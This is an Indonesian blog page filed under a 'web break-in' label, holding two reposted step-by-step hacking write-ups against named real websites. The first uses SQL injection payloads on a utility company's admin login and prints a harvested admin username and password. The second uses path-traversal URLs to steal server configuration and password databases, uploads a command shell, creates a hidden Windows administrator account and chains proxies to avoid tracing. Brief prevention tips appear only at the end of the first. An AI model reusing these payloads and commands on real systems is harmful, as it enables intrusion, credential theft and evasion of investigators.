Tutorial HTML dan CSS

Posted by Author On Month - Day - Year

Hypertext Markup Language merupkan standard bahasa yang di gunakan untuk menampilkan document web, yang bisa anda lakukan dengan HTML yaitu:

POST-TITLE-HERE

Posted by Author On Month - Day - Year

POST-SUMMARY-HERE

POST-TITLE-HERE

Posted by Author On Month - Day - Year

POST-SUMMARY-HERE

POST-TITLE-HERE

Posted by Author On Month - Day - Year

POST-SUMMARY-HERE

POST-TITLE-HERE

Posted by Author On Month - Day - Year

POST-SUMMARY-HERE

Tampilkan postingan dengan label bobol web. Tampilkan semua postingan
Tampilkan postingan dengan label bobol web. Tampilkan semua postingan

Bobol Web SQL Injection

Dikirim oleh - Andy - IT Share - On 09.51 0 Komentar

Hingga Maret 2006, masih saja terdapat situs web di Republik Indonesia yang dibobol dengan teknik SQL Injection. Anda tahu betapa berbahaya bug yang satu ini ? Berikut akan kita sajikan step by step SQL Injection ini yang diambil dari langsung tulisan iko (iko94@yahoo.com)

Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.
Kita akan mengambil contoh di site www.pln-wilkaltim.co.id


Ada dua kelemahan di site ini, yaitu:
1. Tabel News
2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-inject
dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat
alamat URL.

Kita ambil yang termudah dulu, dengan cara input box. Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya,
kita inject kotak NIP dengan perintah (password terserah, cabang biarkan aja): ‘ having 1=1–
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda minus dobel (penting).
Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection
di www.neoteker.or.id ini (lihat arsip sebelumnya).
Kemudian akan keluar pesan error:
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘T_ADMIN.NOMOR’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
——————–
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR

Kemudian kita akan mencari nama field-field berikutnya,
beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
‘ group by T_ADMIN.NOMOR having 1=1–
Akan keluar pesan error:
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘T_ADMIN.NIP’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
——————–
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP

Kemudian kita cari field ke tiga :
‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1–
Akan keluar pesan error:
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘T_ADMIN.PASSWORD’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
——————–
Catat field ke tiga : T_ADMIN.PASSWORD

Lakukan langkah di atas sampai kita menemukan field terakhir.

Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL
having 1=1–
(catatan : kalimat harus 1 baris, tidak dipotong)
——————–
- NIP atau Password atau Unit Anda salah !! -
——————–
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.

Langkah berikutnya, kita menentukan jenis struktur field-
field tersebut di atas.

Kita inject di kotak NIP (pass terserah) :
‘ union select sum(NOMOR) from T_ADMIN–
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.
Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu
kita jenis kolom yang dimaksud.
Pesan error :
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries
in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
——————–
artinya kolom NOMOR berjenis numerik.

Berikutnya kita inject :
‘ union select sum(NIP) from T_ADMIN–
Akan keluar pesan error :
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum
or average aggregate operation cannot take a char data
type as an argument.
/sipm/admin/dologin.asp, line 7
——————–
Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
‘ union select sum(nama_kolom) from T_ADMIN–
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
‘ union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > ‘a’–
artinya kita memilih minimum nama user yang lebih besar dari ‘a’
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value ‘bill ‘ to
a column of data type int.
/sipm/admin/dologin.asp, line 7
——————–
Anda lihat :
varchar value ‘bill ‘
‘bill’ itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.

Selanjutnya kita inject :
‘ union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where
NAMA = ‘bill’–
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
———————
Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value ‘m@mpusk@u’ to a
column of data type int.
/sipm/admin/dologin.asp, line 7
———————
Artinya kita berhasil !!!
Kita dapatkan
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u

Silahkan login ke :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba :(

Atau kita pakai jalan pintas saja….

Kita inject-kan :
‘ union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA =’bill’–
catatan : harus satu baris.
Duarrrrrr……….
Glhodhak………….
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin !!!

Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah
parameter id aja (CMIIW).

Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119′ having 1=1–
akan keluar pesan error :
—————————
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘tb_news.NewsId’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
—————————
artinya ‘tb_news.NewsId’ itulah nama tabel dan kolom kita
yang pertama.

Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan
pengetahuan anda.
Anda bisa men-insert berita yang bisa anda tentukan sendiri
isinya.

Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.

Perkiraan saya, nama-nama partai di situs KPU yang di-hack
oleh Shizoprenic, juga ada di tabel-tabel suatu database,
jadi tetep bisa dimasuki dengan cara SQL Injection ini.

******************************************************
KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
******************************************************
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah “Startup and run SQL Server” menggunakan low privilege user
di SQL Server Security tab.

Yah itulah mungkin yang dapat saya ceritakan…..
Hal itu adalah gambaran, betapa tidak amannya dunia internet…
Kalau mau lebih aman, copot kabel jaringan anda, copot disk
drive anda, copot harddisk anda, jual kompie anda !!!
Just kidding :))

Referensi :
[+] sqlinjection, www.BlackAngels.it
[+] anvanced sql injection in sql server applications
(www.ngssoftware.com)
[+] sql injection walktrough (www.securiteam.com)

Special greets :
[+] www.neoteker.or.id
[+] www.bosen.net
[+] ftp_geo
[+] Schizoprenic (XNuxer Research Center) –> BEBASKAN DIA !!!

Kiriman dari : Syamsi Kusyanti
Thu, 20 Jul 2006 08:29:04 +0700


Read More...

Langkah bobol web rasasayang.com.my

Dikirim oleh - Andy - IT Share - On 10.43 0 Komentar

Situs www.rasasayang.com.my secara sekilas terlihat tidak memiliki bug yang cukup berarti untuk dieksploitasi oleh hacker. Namun ternyata masih terdapat celah yang bisa dieksploitasi. Berikut ini langkah-langkah yang dilakukan untuk membobol server ini.

1. Persiapan hacking
2. Pemeriksaan bug
3. Mendownload source code dan file konfigurasi
4. Mengupload file explorer dan windows shell command interface
5.
Mengambil-alih server



Saya akan menjelaskan langkah-langkah di atas satu per satu.

1. Persiapan hacking
Sebelumnya Anda harus memiliki list proxy server yang mendukung proxy-chain untuk menghindari pelacakan. Anda harus mengkoneksikan sekurang-kurangnya 2 anonymous proxy server di 2 negara yang berbeda. Anda dengan mudah mendapatkan proxy server di search engine Google. Namun bila Anda menemukan lebih banyak transparant proxy server, gunakan 3 transparant proxy server yang mendukung chain, dan rutekan koneksinya melintasi beberapa negara, misalnya: Brazil - China - India, sehingga bila dilacak oleh "Pengejar Hacker" maka mereka hanya akan melacak koneksi dari ISP Indonesia ke China.

Pada sistem operasi windows, anda dapat menggunakan software mungil bouncer.exe untuk melakukan proxy-chain melalui parameter tunneling. Contoh dengan IP lokal 192.168.0.5:

bouncer --bind 192.168.0.5 --port 8881 --tunnel 82.0.0.1:8080 --destination 221.0.0.1:8080
bouncer --bind 192.168.0.5 --port 8882 --tunnel 192.168.0.5:8881 --destination 200.0.0.1:3128

Pada contoh di atas, bila kita mengeset proxy pada internet browser menjadi 192.168.0.5:8882 maka koneksi kita akan dirutekan melalui proxy server: 82.0.0.1:8080 -> 221.0.0.1:8080 -> 200.0.0.1:3128 -> www.rasasayang.com.my

Karena kita menggunakan transparant proxy server maka IP 221.0.0.1 juga akan terlacak. Namun ini tidak masalah karena kita sebenarnya terkoneksi dari proxy server 82.0.0.1.


2. Pemeriksaan bug
Pemeriksaan dilakukan secara trial and error pada setiap parameter yang diperkirakan mengandung bug. Pada kasus ini terdapat bug pada module downloading file untuk mendownload file .mp3 dengan URL:

http://www.rasasayang.com.my/index.cfm??dir=download&menu=home&task=dl_comm&cfile=

Dari parameter di atas terlihat file dl_comm.cfm terletak pada folder download. Sekarang kita coba secara langsung mengeksekusi pada file .cfm tersebut dan menyisipkan parameter querystring cfile untuk mendapatkan source codenya.

http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\download\dl_comm.cfm

Ternyata hasilnya adalah file source code dl_comm.cfm. Berikut ini adalah bagian penting dari source code tersebut.



Dari source code ini kita bisa menemukan bahwa terdapat parameter querystring abs_dir dan cfile yang bisa mengarahkan kita untuk mendownload file apa saja dari harddisk server.


3. Mendownload source code dan file konfigurasi

Kita jejaki setiap link di dalam source code-nya, kemudian kita download. Misalnya:

http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\application.cfm
http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\index.cfm

Dari kumpulan file inilah kemudian kita mendapatkan bocoran source code situs www.rasasayang.com.my yang telah diberitakan sebelumnya di situs ini.

Selanjutnya kita download file konfigurasi web servernya dengan cara berikut:

File konfigurasi IIS:
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\&CFILE=..\WINDOWS\system32\inetsrv\MetaBase.xml

File konfigurasi CFM:
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\&CFILE=..\CFusionMX7\lib\neo-query.xml

File History Internet Explorer untuk Administrator
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\&CFILE=..\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat

Dari file Metabase.xml kita dapat mengetahui bahwa terdapat beberapa situs web yang hosting di server ini.
- www.powerofpaytv.com, www.thepowerofpaytv.com yang terletak di E:\webuser\web\powerofpaytv.com
- www.jedrealty.com yang terletak di E:\webuser\web\jedrealty.com
- www.rasasayang.com.my yang terletak di E:\webuser\web\rasasayang.com.my

Dari file index.dat kita dapat mengetahui bahwa Administrator melakukan proses administrasi upload dan download file dengan mengunjungi http://www.powerofpaytv.com/cometadvance/

Dari file neo-query.xml kita dapat mengetahui file database pengguna terletak di E:\webuser\web\powerofpaytv.com\_db\dcm_casbaa_db.mdb yang dapat kita download melalui:
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=E:\&CFILE=..\webuser\web\powerofpaytv.com\_db\dcm_casbaa_db.mdb

Dari file dcm_casbaa_db.mdb ini kita memperoleh user-id dan password dalam bentuk MD5 hash. Dengan menggunakan software decryptor misalnya Cain & Abel kita dapat mendecyrpt passwordnya.


4. Mengupload file explorer dan windows shell command interface
Dari http://www.powerofpaytv.com/cometadvance/ kita dapat mengupload file explorer misalnya ASF File Explorer yang dibuat oleh Nahuel Foronda and Laura Arguello. Dengan ASF File Explorer, kita dapat membrowse file di harddisk secara lebih leluasa, serta meng-upload, download dan delete file.

Untuk windows shell command interface, kita buatkan file.CFM dengan script berikut:



#Replace(Replace(Replace('#cmdResult#', '<', '<', 'all'), '>', '>', 'all'), Chr(10), '
', 'all')#


5. Mengambil-alih server
Kita dapat menambahkan user login windows (group administrator) dengan mengeksekusi perintah berikut pada windows shell command interface.

NET USER mbahjambon mypassword /ADD /ACTIVE:YES /EXPIRES:NEVER /PASSWORDCHG:YES
NET LOCALGROUP Administrators mbahjambon /ADD

Dengan menggunakan Windows Remote Desktop kita dapat mengambil alih servernya (IP 202.157.176.17). Koneksinya tetap dilakukan melalui proxy tunneling seperti contoh berikut:

bouncer --bind 192.168.0.5 --port 8883 --tunnel 82.0.0.1:8080 --destination 221.0.0.1:8080
bouncer --bind 192.168.0.5 --port 8884 --tunnel 192.168.0.5:8883 --destination 202.157.176.17:3389

sehingga kita dapat meremote server melalui Remote Desktop pada alamat: 192.168.0.5:8884

Demikian cara yang digunakan untuk membobol server situs www.rasasayang.com.my. Dengan membaca tulisan ini, mudah-mudahan para pembaca dapat menghindari bug sejenis pada server Anda.


Read More...